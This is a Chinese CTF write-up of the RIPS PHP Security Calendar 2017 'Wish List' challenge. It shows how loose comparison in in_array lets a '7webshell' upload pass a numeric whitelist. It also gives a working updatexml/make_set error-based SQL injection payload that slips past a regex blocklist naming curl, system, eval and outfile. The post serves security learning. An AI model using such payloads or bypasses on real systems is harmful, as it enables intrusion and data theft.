欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【代码审计】PHP SECURITY CALENDAR 2017-Wish List

程序员文章站 2022-04-30 11:31:46
...

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

环境:

https://www.ripstech.com/php-security-calendar-2017/

参考

https://xz.aliyun.com/t/2451

in_array函数

给了一段php代码

class Challenge {
  const UPLOAD_DIRECTORY = './solutions/';
  private $file;
  private $whitelist;

  public function __construct($file) {
    $this->file = $file;
    $this->whitelist = range(1, 24);
  }

  public function __destruct() {
    if (in_array($this->file['name'], $this->whitelist)) {
      move_uploaded_file(
        $this->file['tmp_name'],
        self::UPLOAD_DIRECTORY . $this->file['name']
      );
    }
  }
}

$challenge = new Challenge($_FILES['solution']);

简单分析一下。可以理解为有文件上传的功能,并且有白名单保护$whitelist。
$whitelist是一个数组,存放着24个元素,值依次是从1到24。。

假如我们传入的name是7webshell。此时比较的时候会变成

"7webshell"==1
"7webshell"==2
"7webshell"==3
"7webshell"==4
"7webshell"==5
"7webshell"==6
"7webshell"==7

和比较7的时候,因为php弱类型的关系。会将字符串7webshell转换整型7.然后进行比较,此时7=7。所以返回的是true。从而绕过了白名单检测。

不过in_array支持第三个参数。如果第三个参数设置为true,则会先判断类型是否相同,不相同直接返回false。。
【代码审计】PHP SECURITY CALENDAR 2017-Wish List

链接里之后布置了一个CTF题,看关键代码

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

这里有一个stop_hack函数。通过正则过滤了一些字符。

function stop_hack($value){
	$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
	$back_list = explode("|",$pattern);
	foreach($back_list as $hack){
		if(preg_match("/$hack/i", $value))
			die("$hack detected!");
	}
	return $value;
}

虽然过滤了一些,但是还是可以使用报错注入的。
payload:

http://192.168.43.187:10000/day1/practice/?id=2 and updatexml(1,make_set(3,'~',(select flag from flag)),1)

【代码审计】PHP SECURITY CALENDAR 2017-Wish List
这里有一个make_set函数。第一个参数是3。转换为二进制是011。反过来是110。所以取第一个和第二个参数。打印出 ~,aaa@qq.com
https://blog.csdn.net/qq_41725312/article/details/83039525

select make_set(3,'~',(select user()));

【代码审计】PHP SECURITY CALENDAR 2017-Wish List

问题

我想问一个问题,我想爆表的时候。发现information中的or被过滤了。不知道还有什么方法。有大佬知道的麻烦在评论区说一声,谢谢。

欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群

【代码审计】PHP SECURITY CALENDAR 2017-Wish List

相关标签: 代码审计